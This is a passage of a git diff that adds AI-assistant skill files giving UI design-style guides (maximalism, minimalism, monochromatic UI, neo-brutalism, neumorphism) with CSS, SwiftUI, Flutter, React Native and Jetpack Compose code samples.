+.max-grid { + display: grid; + grid-template-columns: repeat(6, 1fr); + gap: 16px; + padding: 16px; +} + +.max-item { + background-color: rgba(30, 41, 59, 0.9); /* Semi-transparent over pattern */ + border: 1px solid #475569; + padding: 24px; +} + +/* Ornate decorative borders */ +.max-feature { + grid-column: span 3; + border: 2px solid #D4AF37; /* Gold */ + position: relative; +} + +.max-feature::before { + content: ''; + position: absolute; + top: 4px; left: 4px; right: 4px; bottom: 4px; + border: 1px dashed #D4AF37; +} + +.max-title { + font-family: 'Cinzel', serif; + color: #D4AF37; + font-size: 2.5rem; + text-align: center; + border-bottom: 1px solid #475569; + padding-bottom: 16px; + margin-bottom: 16px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MaximalismView: View { + let columns = [ + GridItem(.flexible(), spacing: 4), + GridItem(.flexible(), spacing: 4), + GridItem(.flexible(), spacing: 4) + ] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 4) { + // Feature span + MaxItem(title: "MUSEUM", isFeature: true) + // Dense data blocks + MaxItem(title: "1892") + MaxItem(title: "Vol. II") + MaxItem(title: "Arch") + MaxItem(title: "Index") + } + .padding(16) + } + .background(Color(hex: "0F172A")) // Deep slate + } +} + +struct MaxItem: View { + let title: String + var isFeature: Bool = false + + var body: some View { + VStack { + Text(title) + .font(.custom("Cinzel", size: isFeature ? 28 : 14)) + .foregroundColor(Color(hex: "D4AF37")) // Gold + .padding() + } + .frame(maxWidth: .infinity, minHeight: isFeature ? 150 : 80) + .background(Color(hex: "1E293B").opacity(0.9)) + .border(Color(hex: "475569"), width: 1) + .overlay( + // Ornate internal dashed border for the feature item + Group { + if isFeature { + Rectangle() + .stroke(style: StrokeStyle(lineWidth: 1, dash: [4])) + .foregroundColor(Color(hex: "D4AF37")) + .padding(4) + } + } + ) + } +} +``` +- A `LazyVGrid` with very tight `spacing` (e.g., `4`) creates the necessary density. +- Extensive use of `.border` and `.overlay(Rectangle().stroke(...))` to box in every piece of data, mimicking ornate framing. + +### Flutter +```dart +class MaximalismScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF0F172A), + body: GridView.count( + crossAxisCount: 3, + padding: const EdgeInsets.all(16), + mainAxisSpacing: 4, + crossAxisSpacing: 4, + children: [ + // Flutter's standard GridView doesn't span columns easily. + // In a real app, use the `flutter_staggered_grid_view` package. + _buildItem('1892'), + _buildItem('Vol. II'), + _buildItem('Arch'), + _buildItem('Index', isOrnate: true), + _buildItem('04'), + _buildItem('XII'), + ], + ), + ); + } + + Widget _buildItem(String title, {bool isOrnate = false}) { + return Container( + decoration: BoxDecoration( + color: const Color(0xFF1E293B).withOpacity(0.9), + border: Border.all(color: const Color(0xFF475569), width: 1), + ), + child: Stack( + children: [ + if (isOrnate) + Positioned.fill( + child: Padding( + padding: const EdgeInsets.all(4.0), + // Requires path_drawing or custom painter for dashed borders natively + child: Container( + decoration: BoxDecoration(border: Border.all(color: const Color(0xFFD4AF37), width: 1)), + ), + ), + ), + Center( + child: Text( + title, + style: const TextStyle(fontFamily: 'Cinzel', color: Color(0xFFD4AF37), fontSize: 16), + ), + ), + ], + ), + ); + } +} +``` +- Use `flutter_staggered_grid_view` to create the complex, spanning "masonry" or architectural grid layouts typical of maximalism. +- Use `Stack` with `Positioned.fill` and `Padding` to create double-bordered framing effects. + +### React Native +```jsx +const MaximalismScreen = () => { + return ( + + + + {/* Feature Item spanning full width */} + + + MUSEUM + + + + {/* Small Dense Items */} + 1892 + Vol. II + Arch + + + ); +}; + +const styles = StyleSheet.create({ + item: { + backgroundColor: 'rgba(30, 41, 59, 0.9)', + borderColor: '#475569', borderWidth: 1, + height: 100, justifyContent: 'center', alignItems: 'center' + }, + featureItem: { + width: '100%', height: 200, padding: 4, + }, + ornateInnerBorder: { + flex: 1, width: '100%', + borderColor: '#D4AF37', borderWidth: 1, borderStyle: 'dashed', + justifyContent: 'center', alignItems: 'center' + }, + text: { + fontFamily: 'Cinzel-Regular', color: '#D4AF37', fontSize: 16 + } +}); +``` +- A `flexWrap: 'wrap'` container with percentage widths (e.g., `32%` for 3 columns) is the easiest way to build complex, dense grids in React Native. +- Use `borderStyle: 'dashed'` combined with a solid outer border to create ornate framing. + +### Jetpack Compose +```kotlin +@Composable +fun MaximalismScreen() { + LazyVerticalGrid( + columns = GridCells.Fixed(3), + modifier = Modifier.fillMaxSize().background(Color(0xFF0F172A)).padding(16.dp), + horizontalArrangement = Arrangement.spacedBy(4.dp), + verticalArrangement = Arrangement.spacedBy(4.dp) + ) { + // Feature spanning all 3 columns + item(span = { GridItemSpan(3) }) { + MaxItem("MUSEUM", isFeature = true) + } + // Dense items + items(6) { index -> + MaxItem("Item $index") + } + } +} + +@Composable +fun MaxItem(title: String, isFeature: Boolean = false) { + Box( + modifier = Modifier + .height(if (isFeature) 200.dp else 100.dp) + .background(Color(0xFF1E293B).copy(alpha = 0.9f)) + .border(1.dp, Color(0xFF475569)) + .padding(4.dp), + contentAlignment = Alignment.Center + ) { + if (isFeature) { + // Ornate inner border + Box( + modifier = Modifier + .fillMaxSize() + .border(1.dp, Color(0xFFD4AF37), shape = RoundedCornerShape(0.dp)) + // Note: Dashed borders require a custom drawBehind modifier in Compose + ) + } + Text( + text = title, + color = Color(0xFFD4AF37), + fontFamily = FontFamily.Serif, // Replace with custom Cinzel font + fontSize = if (isFeature) 32.sp else 16.sp + ) + } +} +``` +- `LazyVerticalGrid` with `GridCells.Fixed(3)` is perfect. +- Use `GridItemSpan(3)` for the hero elements to make them span the full width, mimicking editorial or museum layouts. + +## Do's and Don'ts +- **DO**: Treat every pixel as valuable real estate. Frame everything. +- **DON'T**: Let it become unreadable. The contrast between text and background must remain high despite the density. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/minimalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/minimalism/SKILL.md new file mode 100644 index 00000000..172c6d21 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/minimalism/SKILL.md @@ -0,0 +1,267 @@ +--- +name: minimalism +description: Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Minimalism + +> "Less is more. Remove until nothing is left but the essential." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Extreme Whitespace**: Margins and padding should be double what you initially think is appropriate. +2. **Strict Typography**: Rely on font weights and sizes to establish hierarchy, not colors or boxes. +3. **Absence of Decor**: No borders, no drop shadows, no background textures. + +## Visual DNA +- **Colors**: Best paired with **Minimalist Slate** or **Modern Editorial** palettes. Backgrounds must be absolute (pure or off-white/black). +- **Typography**: Sans-serif, geometric. (e.g., `Inter`, `Helvetica Neue`, `SF Pro`). Use extreme contrast in weights (Thin vs Black). +- **Spacing**: Use a generous baseline grid (e.g., multiples of 8px, heavily favoring 48px to 120px padding). + +## Web Implementation +- Use Flexbox/Grid with large `gap` properties. +- **CSS Example**: +```css +.minimal-container { + max-width: 800px; + margin: 0 auto; + padding: 120px 24px; + background-color: var(--bg-primary); +} +.minimal-title { + font-size: 3rem; + font-weight: 300; + letter-spacing: -0.02em; + margin-bottom: 48px; +} +.minimal-btn { + background: transparent; + border: 1px solid var(--text-primary); + padding: 16px 32px; + text-transform: uppercase; + letter-spacing: 0.1em; + transition: all 0.3s ease; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MinimalView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 48) { + Text("Headline") + .font(.system(size: 34, weight: .light)) + .tracking(-0.5) + + Text("Body text sits quietly with generous space around it. Let the content breathe.") + .font(.system(size: 17, weight: .regular)) + .foregroundColor(.secondary) + .lineSpacing(6) + + // Minimal button — just a thin border, no fill + Button(action: {}) { + Text("Continue") + .font(.system(size: 14, weight: .medium)) + .tracking(1.5) + .textCase(.uppercase) + .padding(.horizontal, 32) + .padding(.vertical, 16) + .overlay( + RoundedRectangle(cornerRadius: 0) + .stroke(Color.primary, lineWidth: 1) + ) + } + } + .padding(.horizontal, 24) + .padding(.vertical, 80) + } + .background(Color(.systemBackground)) + } +} +``` +- Use `VStack(spacing: 40...64)` for generous separation between elements. +- Never use `.shadow()` or `Card`-like containers. Let whitespace define grouping. +- Use `Divider()` sparingly — only when two adjacent sections need separation. + +### Flutter +```dart +class MinimalScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: SingleChildScrollView( + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 80), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Headline', + style: TextStyle( + fontSize: 34, + fontWeight: FontWeight.w300, + letterSpacing: -0.5, + color: Colors.black87, + ), + ), + const SizedBox(height: 48), + Text( + 'Body text sits quietly with generous space around it.', + style: TextStyle( + fontSize: 17, + fontWeight: FontWeight.w400, + height: 1.6, + color: Colors.black54, + ), + ), + const SizedBox(height: 48), + // Minimal button — outlined, no elevation + OutlinedButton( + onPressed: () {}, + style: OutlinedButton.styleFrom( + side: const BorderSide(color: Colors.black87, width: 1), + shape: const RoundedRectangleBorder(borderRadius: BorderRadius.zero), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + ), + child: Text( + 'CONTINUE', + style: TextStyle( + fontSize: 14, + fontWeight: FontWeight.w500, + letterSpacing: 1.5, + color: Colors.black87, + ), + ), + ), + ], + ), + ), + ); + } +} +``` +- Set `elevation: 0` on **all** Material widgets (`AppBar`, `Card`, `FloatingActionButton`). +- Use `SizedBox(height: 48)` or larger for vertical spacing. Avoid tight layouts. +- Override `ThemeData` to remove all default shadows: `cardTheme: CardTheme(elevation: 0)`. + +### React Native +```jsx +const MinimalScreen = () => ( + + + Headline + + + + Body text sits quietly with generous space around it. + + + + + Continue + + + +); +``` +- Use `paddingVertical: 80` for screen-level spacing. Double what feels natural. +- Avoid all `elevation` and `shadowColor` properties. No `borderRadius` on cards. +- If using a UI library (e.g., React Native Paper), strip default elevations. + +### Jetpack Compose +```kotlin +@Composable +fun MinimalScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .verticalScroll(rememberScrollState()) + .padding(horizontal = 24.dp, vertical = 80.dp) + ) { + Text( + text = "Headline", + fontSize = 34.sp, + fontWeight = FontWeight.Light, + letterSpacing = (-0.5).sp, + color = Color(0xFF1A1A1A), + ) + Spacer(modifier = Modifier.height(48.dp)) + Text( + text = "Body text sits quietly with generous space around it.", + fontSize = 17.sp, + fontWeight = FontWeight.Normal, + lineHeight = 28.sp, + color = Color(0xFF666666), + ) + Spacer(modifier = Modifier.height(48.dp)) + // Minimal outlined button + OutlinedButton( + onClick = {}, + shape = RectangleShape, + border = BorderStroke(1.dp, Color(0xFF1A1A1A)), + colors = ButtonDefaults.outlinedButtonColors(containerColor = Color.Transparent), + contentPadding = PaddingValues(horizontal = 32.dp, vertical = 16.dp), + ) { + Text( + text = "CONTINUE", + fontSize = 14.sp, + fontWeight = FontWeight.Medium, + letterSpacing = 1.5.sp, + color = Color(0xFF1A1A1A), + ) + } + } +} +``` +- Set `elevation = 0.dp` on all `Card`, `TopAppBar`, and `FloatingActionButton` composables. +- Use `Spacer(modifier = Modifier.height(48.dp))` consistently for generous vertical gaps. +- Override `MaterialTheme` shape and shadow defaults to remove all depth cues. + +## Do's and Don'ts +- **DO**: Focus intensely on alignment. A 1px misalignment breaks the illusion of minimalism. +- **DON'T**: Use "card" wrappers for content. Let the whitespace define the grouping. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/monochromatic-ui/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/monochromatic-ui/SKILL.md new file mode 100644 index 00000000..6bace448 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/monochromatic-ui/SKILL.md @@ -0,0 +1,296 @@ +--- +name: monochromatic-ui +description: Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Monochromatic UI + +> "Elegance through constraint. A single hue, explored through all its tints, tones, and shades." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Single Hue**: Choose one base color (e.g., deep blue). The entire UI is built using lighter (tints) and darker (shades) versions of that exact hue. +2. **High Contrast for Legibility**: The darkest shade and the lightest tint must have enough contrast to pass accessibility standards when placed together. +3. **Texture over Color**: Since color is restricted, use subtle textures, patterns, or varying opacities to differentiate sections. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or pick one dominant hue from **Earth-Grounded Elegance** and extrapolate it. +- **Typography**: Clean and unobtrusive. The layout relies heavily on font weights to establish hierarchy since color cannot. +- **Shadows**: Shadows must be tinted with the base hue, never pure black. + +## Web Implementation +- Use HSL (Hue, Saturation, Lightness) heavily in CSS to make building the palette easy. +- **CSS Example**: +```css +:root { + /* Base Hue: Deep Blue (210) */ + --mono-900: hsl(210, 80%, 10%); /* Very dark */ + --mono-700: hsl(210, 70%, 30%); /* Dark */ + --mono-500: hsl(210, 60%, 50%); /* Base */ + --mono-300: hsl(210, 50%, 80%); /* Light */ + --mono-100: hsl(210, 40%, 95%); /* Very light background */ +} + +body { + background-color: var(--mono-100); + color: var(--mono-900); + font-family: 'Inter', sans-serif; +} + +.mono-card { + background-color: #ffffff; /* Or mono-100 */ + border: 1px solid var(--mono-300); + border-radius: 8px; + padding: 32px; + /* Tinted shadow */ + box-shadow: 0 10px 25px hsla(210, 80%, 10%, 0.05); +} + +.mono-btn { + background-color: var(--mono-500); + color: #ffffff; + border: none; + border-radius: 4px; + padding: 12px 24px; + transition: background-color 0.2s; +} + +.mono-btn:hover { + background-color: var(--mono-700); +} + +.mono-subtext { + color: var(--mono-500); /* Use mid-tones for secondary text */ + font-weight: 500; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MonochromaticView: View { + // Base Hue: Deep Blue (210 in 360-degree HSB/HSL) + // In SwiftUI, hue is 0.0 to 1.0 (210/360 = 0.58) + let mono900 = Color(hue: 0.58, saturation: 0.80, brightness: 0.10) + let mono700 = Color(hue: 0.58, saturation: 0.70, brightness: 0.30) + let mono500 = Color(hue: 0.58, saturation: 0.60, brightness: 0.50) + let mono300 = Color(hue: 0.58, saturation: 0.50, brightness: 0.80) + let mono100 = Color(hue: 0.58, saturation: 0.40, brightness: 0.95) + + var body: some View { + VStack(spacing: 24) { + // Card + VStack(alignment: .leading, spacing: 12) { + Text("Monochromatic Elegance") + .font(.title2).fontWeight(.semibold) + .foregroundColor(mono900) + + Text("Using only variations in saturation and brightness of a single hue.") + .foregroundColor(mono500) + } + .padding(32) + .background(Color.white) + .border(mono300, width: 1) + .shadow(color: mono900.opacity(0.1), radius: 15, y: 5) // Tinted shadow + + // Button + Button(action: {}) { + Text("Primary Action") + .fontWeight(.bold) + .foregroundColor(.white) + .frame(maxWidth: .infinity) + .padding() + .background(mono500) + .cornerRadius(8) + } + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(mono100) + } +} +``` +- Define your colors using `Color(hue: saturation: brightness:)`. This ensures math-perfect monochromatic harmony. +- *Always* tint your drop shadows with your `mono900` color. Pure black shadows look dirty in a strict monochromatic UI. + +### Flutter +```dart +class MonochromaticScreen extends StatelessWidget { + // Base Hue: Deep Blue (210) + // Flutter HSVColor uses Hue 0-360, Saturation 0.0-1.0, Value 0.0-1.0 + final Color mono900 = const HSVColor.fromAHSV(1.0, 210, 0.80, 0.10).toColor(); + final Color mono500 = const HSVColor.fromAHSV(1.0, 210, 0.60, 0.50).toColor(); + final Color mono300 = const HSVColor.fromAHSV(1.0, 210, 0.50, 0.80).toColor(); + final Color mono100 = const HSVColor.fromAHSV(1.0, 210, 0.40, 0.95).toColor(); + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: mono100, + body: Center( + child: Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + border: Border.all(color: mono300), + borderRadius: BorderRadius.circular(8), + boxShadow: [ + BoxShadow(color: mono900.withOpacity(0.1), blurRadius: 15, offset: const Offset(0, 5)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Monochromatic', style: TextStyle(fontSize: 24, fontWeight: FontWeight.w600, color: mono900)), + const SizedBox(height: 12), + Text('Variations of a single hue.', style: TextStyle(fontSize: 16, color: mono500)), + ], + ), + ), + const SizedBox(height: 24), + // Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: mono500, + foregroundColor: Colors.white, + minimumSize: const Size(double.infinity, 56), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(8)), + elevation: 0, + ), + child: const Text('Primary Action', style: TextStyle(fontWeight: FontWeight.bold)), + ), + ], + ), + ), + ), + ); + } +} +``` +- Flutter's `HSVColor.fromAHSV()` is the best way to explicitly code a monochromatic palette without guessing hex codes. + +### React Native +```jsx +// Base Hue: Deep Blue (210) +const theme = { + mono900: 'hsl(210, 80%, 10%)', + mono700: 'hsl(210, 70%, 30%)', + mono500: 'hsl(210, 60%, 50%)', + mono300: 'hsl(210, 50%, 80%)', + mono100: 'hsl(210, 40%, 95%)', +}; + +const MonochromaticScreen = () => { + return ( + + + + + Monochromatic + + + Using HSL strings in React Native makes palette generation trivial. + + + + + + Primary Action + + + + + ); +}; +``` +- React Native's StyleSheet accepts CSS `hsl()` strings natively. Use them! It makes debugging and tweaking a monochromatic palette a million times easier than using hex codes. + +### Jetpack Compose +```kotlin +@Composable +fun MonochromaticScreen() { + // Base Hue: Deep Blue (210) + // Compose Color.hsv requires Hue 0-360f, Saturation 0-1f, Value 0-1f + val mono900 = Color.hsv(210f, 0.80f, 0.10f) + val mono500 = Color.hsv(210f, 0.60f, 0.50f) + val mono300 = Color.hsv(210f, 0.50f, 0.80f) + val mono100 = Color.hsv(210f, 0.40f, 0.95f) + + Column( + modifier = Modifier + .fillMaxSize() + .background(mono100) + .padding(24.dp), + verticalArrangement = Arrangement.Center + ) { + // Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow(15.dp, RoundedCornerShape(8.dp), spotColor = mono900.copy(alpha = 0.2f)) + .background(Color.White, RoundedCornerShape(8.dp)) + .border(1.dp, mono300, RoundedCornerShape(8.dp)) + .padding(32.dp) + ) { + Column { + Text("Monochromatic", fontSize = 24.sp, fontWeight = FontWeight.SemiBold, color = mono900) + Spacer(Modifier.height(12.dp)) + Text("Strictly enforced hue discipline.", color = mono500) + } + } + + Spacer(Modifier.height(24.dp)) + + // Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors(containerColor = mono500, contentColor = Color.White), + shape = RoundedCornerShape(8.dp), + modifier = Modifier.fillMaxWidth().height(56.dp) + ) { + Text("Primary Action", fontWeight = FontWeight.Bold) + } + } +} +``` +- Use `Color.hsv()` to define the palette. +- Set the `spotColor` in your `Modifier.shadow` to `mono900` to keep the shadows from looking muddy or disjointed from the design system. + +## Do's and Don'ts +- **DO**: Use pure white or pure black as absolute extremes if needed for text legibility. +- **DON'T**: Sneak in an accent color. If you add a red error button to a blue monochromatic UI, it immediately breaks the aesthetic and becomes "duotone" or standard UI. Find a way to signify errors using bold text or dark shades of the base hue. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/neo-brutalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/neo-brutalism/SKILL.md new file mode 100644 index 00000000..e922ef88 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/neo-brutalism/SKILL.md @@ -0,0 +1,270 @@ +--- +name: neo-brutalism +description: Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Neo-Brutalism + +> "Brutalism, but make it pop. Hard lines, stark shadows, and vibrant, unashamed colors." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hard Drop Shadows**: Solid black shadows with no blur. Usually offset by a few pixels down and to the right. +2. **Thick Outlines**: Everything has a heavy, solid black border (usually 2px-4px). +3. **Flat, High-Contrast Colors**: Bright, saturated pastels or primary colors contrasting against pure white or black. + +## Visual DNA +- **Colors**: Start with an off-white background (like `#FDF8F5`), add stark black borders `#000000`, and use saturated accents like lemon yellow, bright cyan, or coral. +- **Typography**: Very bold, geometric sans-serifs (e.g., `Space Grotesk`, `Archivo Black`, `Inter Black`). +- **Shapes**: Sharp rectangles or completely rounded pill shapes, but always with a heavy stroke. + +## Web Implementation +- The defining feature is the `box-shadow` with `0` blur. +- **CSS Example**: +```css +:root { + --neo-border: 3px solid #000000; + --neo-shadow: 6px 6px 0px #000000; + --neo-bg: #F4F4F0; + --neo-accent: #FF3366; +} + +body { + background-color: var(--neo-bg); + font-family: 'Space Grotesk', sans-serif; +} + +.neo-card { + background-color: #ffffff; + border: var(--neo-border); + box-shadow: var(--neo-shadow); + border-radius: 8px; /* Optional, sharp is fine too */ + padding: 32px; + transition: transform 0.1s, box-shadow 0.1s; +} + +.neo-btn { + background-color: var(--neo-accent); + color: #000; + font-weight: 800; + text-transform: uppercase; + border: var(--neo-border); + box-shadow: 4px 4px 0px #000000; + padding: 16px 32px; + cursor: pointer; + transition: all 0.1s ease; +} + +.neo-btn:active { + /* The "press" effect is removing the shadow and moving it down */ + transform: translate(4px, 4px); + box-shadow: 0px 0px 0px #000000; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeoCard: View { + @State private var isPressed = false + let neoBorder: CGFloat = 3 + let neoShadow: CGFloat = 6 + + var body: some View { + Button(action: {}) { + VStack(alignment: .leading, spacing: 16) { + Text("NEO-BRUTALISM") + .font(.system(size: 24, weight: .black, design: .default)) + .foregroundColor(.black) + Text("Stark shadows, bright colors.") + .font(.system(size: 16, weight: .bold)) + .foregroundColor(.black) + } + .padding(24) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color(red: 1.0, green: 0.2, blue: 0.4)) // Bright Coral + // Neo-brutalist solid outline + .overlay( + Rectangle() + .stroke(Color.black, lineWidth: neoBorder) + ) + } + .buttonStyle(.plain) + // Hard drop shadow (0 blur) + .shadow(color: .black, radius: 0, x: isPressed ? 0 : neoShadow, y: isPressed ? 0 : neoShadow) + // Translate the button physically when pressed to cover the shadow + .offset(x: isPressed ? neoShadow : 0, y: isPressed ? neoShadow : 0) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + // Instant pop, no smooth animation + .animation(.none, value: isPressed) + } +} +``` +- `.shadow(radius: 0)` is the secret. Set an offset (e.g. `x: 6, y: 6`). +- For interactions, remove the shadow and translate the element by the same offset amounts using `.offset()`. +- Ensure `.animation(.none)` — Neo-brutalism interactions should be instant, snapping like physical switches. + +### Flutter +```dart +class NeoCard extends StatefulWidget { + @override + State createState() => _NeoCardState(); +} + +class _NeoCardState extends State { + bool _isPressed = false; + final double neoOffset = 6.0; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _isPressed = true), + onTapUp: (_) => setState(() => _isPressed = false), + onTapCancel: () => setState(() => _isPressed = false), + child: Transform.translate( + // Move the container when pressed + offset: Offset(_isPressed ? neoOffset : 0, _isPressed ? neoOffset : 0), + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: const Color(0xFFFF3366), // Bright coral + border: Border.all(color: Colors.black, width: 3), + // Sharp shadow disappears on press + boxShadow: _isPressed ? [] : [ + BoxShadow( + color: Colors.black, + blurRadius: 0, // Critical: 0 blur + spreadRadius: 0, + offset: Offset(neoOffset, neoOffset), + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: const [ + Text('NEO-BRUTALISM', + style: TextStyle(fontSize: 24, fontWeight: FontWeight.w900, color: Colors.black)), + SizedBox(height: 16), + Text('Stark shadows, bright colors.', + style: TextStyle(fontSize: 16, fontWeight: FontWeight.bold, color: Colors.black)), + ], + ), + ), + ), + ); + } +} +``` +- `blurRadius: 0` inside `BoxShadow` creates the solid block color. +- Remove the shadow array entirely when `_isPressed` is true, and simultaneously use `Transform.translate` to shift the widget down-right. + +### React Native +```jsx +const NeoCard = () => { + const [pressed, setPressed] = useState(false); + const offset = 6; + + return ( + setPressed(true)} + onPressOut={() => setPressed(false)} + style={{ + backgroundColor: '#FF3366', + padding: 24, + borderWidth: 3, + borderColor: '#000', + transform: [ + { translateX: pressed ? offset : 0 }, + { translateY: pressed ? offset : 0 } + ], + // iOS Hard Shadow + shadowColor: '#000', + shadowOffset: { width: pressed ? 0 : offset, height: pressed ? 0 : offset }, + shadowOpacity: pressed ? 0 : 1, + shadowRadius: 0, + // Android elevation cannot do 0-blur offset shadows natively + // elevation: 0 + }} + > + + NEO-BRUTALISM + + + ); +}; +``` +- **Android Limitation**: Standard `elevation` CANNOT create an unblurred, offset drop shadow. +- **Solution**: To make this work on Android, you MUST use the `react-native-drop-shadow` library or fake it by rendering an identical black `` absolutely positioned directly behind the main card. + +### Jetpack Compose +```kotlin +@Composable +fun NeoCard() { + var isPressed by remember { mutableStateOf(false) } + val neoOffset = 6.dp + + // Compose Modifier.shadow() always blurs. + // To get a solid hard shadow, we use Modifier.drawBehind. + Box( + modifier = Modifier + .padding(16.dp) + .offset( + x = if (isPressed) neoOffset else 0.dp, + y = if (isPressed) neoOffset else 0.dp + ) + .drawBehind { + if (!isPressed) { + drawRect( + color = Color.Black, + topLeft = Offset(neoOffset.toPx(), neoOffset.toPx()), + size = size + ) + } + } + .background(Color(0xFFFF3366)) + .border(3.dp, Color.Black) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + } + .padding(24.dp) + ) { + Column { + Text("NEO-BRUTALISM", + fontSize = 24.sp, fontWeight = FontWeight.Black, color = Color.Black) + Spacer(Modifier.height(16.dp)) + Text("Stark shadows, bright colors.", + fontSize = 16.sp, fontWeight = FontWeight.Bold, color = Color.Black) + } + } +} +``` +- **Compose Limitation**: Native `Modifier.shadow()` applies ambient blur which breaks the neo-brutalist aesthetic. +- Use `Modifier.drawBehind { drawRect(...) }` with an offset to manually draw the solid shadow block behind the container. +- Shift the container using `Modifier.offset` on press, while hiding the shadow layer. + +## Do's and Don'ts +- **DO**: Make the active/pressed state visually translate the button to cover its shadow, creating a physical "click" feel. +- **DON'T**: Use gradients or blurred shadows. The aesthetic relies entirely on flat, sharp vectors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/neumorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/neumorphism/SKILL.md new file mode 100644 index 00000000..2aa74a3b --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/neumorphism/SKILL.md @@ -0,0 +1,248 @@ +--- +name: neumorphism +description: Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Neumorphism (Soft UI) + +> "Elements extruded from the background material itself, shaped by a singular, persistent light source." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Unified Surface Color**: The background and the elements MUST share the exact same base color. +2. **Dual Shadows**: Elements are shaped by two shadows: a light shadow (highlight) on the side facing the light source, and a dark shadow on the opposite side. +3. **No Borders**: The shape is entirely defined by the shadows. + +## Visual DNA +- **Colors**: Works best with mid-tone neutrals. **Desert Mirage**, **Earth-Grounded Elegance**, or **Sophisticated Neutral** are perfect. Avoid pure white or pure black (shadows/highlights won't show). +- **Typography**: Soft, rounded sans-serifs (e.g., `Nunito`, `Quicksand`). +- **Shapes**: Pill shapes, rounded rectangles. Sharp corners break the illusion of extruded material. + +## Web Implementation +- The magic is entirely in `box-shadow` manipulating light and dark variants of the base color. +- **CSS Example**: +```css +:root { + --base-color: #E6E2DD; /* From Sophisticated Neutral */ + --highlight: #ffffff; + --shadow: #c4c0bc; +} + +body { + background-color: var(--base-color); +} + +.neu-element { + background-color: var(--base-color); + border-radius: 20px; + /* Top-left highlight, Bottom-right shadow */ + box-shadow: 9px 9px 18px var(--shadow), + -9px -9px 18px var(--highlight); + padding: 32px; +} + +.neu-pressed { + /* Inset shadows for pressed/active state */ + border-radius: 20px; + background: 